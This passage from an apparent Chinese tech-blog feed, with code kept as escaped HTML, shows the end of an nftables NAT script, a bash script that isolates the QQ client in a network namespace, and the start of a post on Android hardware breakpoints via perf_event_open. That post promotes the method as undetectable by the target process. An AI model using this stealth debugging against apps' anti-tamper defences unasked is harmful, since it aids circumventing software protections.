&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;$(seq 0 $(( $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;iface_count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;)) )&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; do
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;}eth1mac$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;,&amp;quot;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;done
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;}&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# choose one
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;true&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;  nft add rule ip6 balance_netmap srcnat oifname $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt; masquerade
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;else
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip_set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;{&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; i &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;in &lt;&#x2F;span&gt;&lt;span&gt;$(seq 0 $(( $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;iface_count&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;-&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span&gt;)) )&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; do
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;eval&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt; echo -n &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;ip$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip_set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip_set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;,&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;done
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip_set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip_set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;}&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;  nft add rule ip6 balance_netmap srcnat oifname &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; saddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip_set&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; masquerade
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;nft add chain ip6 balance_netmap dctnat { type nat hook prerouting priority dstnat &lt;&#x2F;span&gt;&lt;span style=&quot;color:#519f50;&quot;&gt;\; &lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;span&gt;nft flush chain ip6 balance_netmap dctnat
&lt;&#x2F;span&gt;&lt;span&gt;nft add rule ip6 balance_netmap dctnat ip6 daddr @pds dnat ip6 daddr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&amp;amp;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt; ::ffff:ffff:ffff:ffff &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;|&amp;quot; &lt;&#x2F;span&gt;&lt;span&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;lan_prefix&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;%%&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;64}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>将QQ放入Network Namespace</title>
        <published>2024-06-14T00:00:00+00:00</published>
        <updated>2024-06-14T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/qq-net-namespace/"/>
        <id>https://richar.top/qq-net-namespace/</id>
        
        <content type="html" xml:base="https://richar.top/qq-net-namespace/">&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;qq
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;outer_interface&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;qq-veth
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;qveth1
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_mac&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;12:e1:7d:f8:a2:a4
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;[[ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;! &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;-e&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;var&#x2F;run&#x2F;netns&#x2F;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname &lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;]]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;    ip netns add $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if ! &lt;&#x2F;span&gt;&lt;span&gt;ip address show $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;outer_interface &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;|| ! &lt;&#x2F;span&gt;&lt;span&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -n &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname&lt;&#x2F;span&gt;&lt;span&gt; address show $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;ip address show $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;outer_interface &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;        ip link del $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;outer_interface
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;ip&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -n &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname&lt;&#x2F;span&gt;&lt;span&gt; address show $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;        ip&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -n &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname&lt;&#x2F;span&gt;&lt;span&gt; link del $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if &lt;&#x2F;span&gt;&lt;span&gt;ip address show $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;        ip link del $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span&gt;    ip link add $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;outer_interface&lt;&#x2F;span&gt;&lt;span&gt; type veth peer name $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface
&lt;&#x2F;span&gt;&lt;span&gt;    ip link set $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface&lt;&#x2F;span&gt;&lt;span&gt; netns $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    ip addr add 192.168.67.1&#x2F;24 dev $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;outer_interface
&lt;&#x2F;span&gt;&lt;span&gt;    ip&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -n &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname&lt;&#x2F;span&gt;&lt;span&gt; addr add 192.168.67.2&#x2F;24 dev $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface
&lt;&#x2F;span&gt;&lt;span&gt;    ip&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -n &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname&lt;&#x2F;span&gt;&lt;span&gt; link set dev $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface&lt;&#x2F;span&gt;&lt;span&gt; address $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_mac
&lt;&#x2F;span&gt;&lt;span&gt;    ip&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -n &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname&lt;&#x2F;span&gt;&lt;span&gt; route add default via 192.168.67.1 dev $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;    ip link set $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;outer_interface&lt;&#x2F;span&gt;&lt;span&gt; up
&lt;&#x2F;span&gt;&lt;span&gt;    ip&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -n &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;nsname&lt;&#x2F;span&gt;&lt;span&gt; link set $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;inner_interface&lt;&#x2F;span&gt;&lt;span&gt; up
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;if ! &lt;&#x2F;span&gt;&lt;span&gt;iptables&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -C&lt;&#x2F;span&gt;&lt;span&gt; POSTROUTING&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -s&lt;&#x2F;span&gt;&lt;span&gt; 192.168.67.0&#x2F;24&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span&gt; MASQUERADE &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span&gt; &#x2F;dev&#x2F;null &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;; then
&lt;&#x2F;span&gt;&lt;span&gt;    iptables&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -t&lt;&#x2F;span&gt;&lt;span&gt; nat&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -A&lt;&#x2F;span&gt;&lt;span&gt; POSTROUTING&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -s&lt;&#x2F;span&gt;&lt;span&gt; 192.168.67.0&#x2F;24&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -j&lt;&#x2F;span&gt;&lt;span&gt; MASQUERADE
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;fi
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;ip netns exec qq sudo&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -u&lt;&#x2F;span&gt;&lt;span&gt; richar bash&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -c &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;DBUS_SESSION_BUS_ADDRESS=$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;DBUS_SESSION_BUS_ADDRESS&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt; exec qq&amp;quot;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>Android使用perf_event实现硬断点</title>
        <published>2024-02-15T00:00:00+00:00</published>
        <updated>2024-02-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/android-perf-eventshi-xian-ying-duan/"/>
        <id>https://richar.top/android-perf-eventshi-xian-ying-duan/</id>
        
        <content type="html" xml:base="https://richar.top/android-perf-eventshi-xian-ying-duan/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;在Android中，目前有一下几种方式实现硬件断点。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;GDB Server&lt;&#x2F;li&gt;
&lt;li&gt;rwProcMem33等此类内核模块&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;但是这些方式都有一些问题，比如GDB Server需要使用&lt;code&gt;ptrace&lt;&#x2F;code&gt;附加在目标进程，容易被检测。rwProcMem33等内核模块需要内核头文件，不开源内核难以使用，此外触发一次断点后会导致整个线程卡死，直到断点删除。&lt;&#x2F;p&gt;
&lt;p&gt;使用linux &lt;code&gt;perf_event&lt;&#x2F;code&gt;机制实现硬件断点可以在不附加在目标进程、不安装内核模块的情况下下断，同时也无法被目标进程检测。
该方法支持读、写、执行断点，可以读写断点设置1、4、8字节长度。断点后可以输出此时的寄存器信息。&lt;&#x2F;p&gt;
&lt;p&gt;项目地址：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;pwatch&quot;&gt;ri-char&#x2F;pwatch&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;yuan-li&quot;&gt;原理&lt;&#x2F;h1&gt;
&lt;p&gt;使用&lt;code&gt;perf_event_open&lt;&#x2F;code&gt;系统调用，设置断点类型为&lt;code&gt;PERF_TYPE_BREAKPOINT&lt;&#x2F;code&gt;。&lt;code&gt;sample_type&lt;&#x2F;code&gt;为&lt;code&gt;PERF_SAMPLE_REGS_USER&lt;&#x2F;code&gt;，可以采样寄存器信息。
将断点信息填入结构体后使用&lt;code&gt;perf_event_open&lt;&#x2F;code&gt;创建&lt;code&gt;perf_event&lt;&#x2F;code&gt;，返回一个&lt;code&gt;fd&lt;&#x2F;code&gt;。使用&lt;code&gt;mmap&lt;&#x2F;code&gt;打开该fd可以得到断点出发后的信息。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;let &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;mut&lt;&#x2F;span&gt;&lt;span&gt; attrs &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;sys::bindings::perf_event_attr::default();
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span&gt;attrs.size &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;std::mem::size_of::&amp;lt;sys::bindings::perf_event_attr&amp;gt;() &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u32&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;attrs.type_ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;sys::bindings::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PERF_TYPE_BREAKPOINT&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;attrs.__bindgen_anon_1.sample_period &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;attrs.__bindgen_anon_2.wakeup_events &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;attrs.bp_type &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; r&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;type&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;attrs.__bindgen_anon_3.bp_addr &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; addr;
&lt;&#x2F;span&gt;&lt;span&gt;attrs.__bindgen_anon_4.bp_len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; len &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;as &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#6e9cbe;&quot;&gt;u64&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;attrs.&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;set_precise_ip&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;2&lt;&#x2F;span&gt;&lt;span&gt;);
&lt;&#x2F;span&gt;&lt;span&gt;attrs.sample_type &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;sys::bindings::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PERF_SAMPLE_REGS_USER &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span&gt;sys::bindings::&lt;&#x2F;span&gt;&lt;span style=&quot;color:#6d9cbe;&quot;&gt;PERF_SAMPLE_TID&lt;&#x2F;span&gt;&lt;span&gt;;
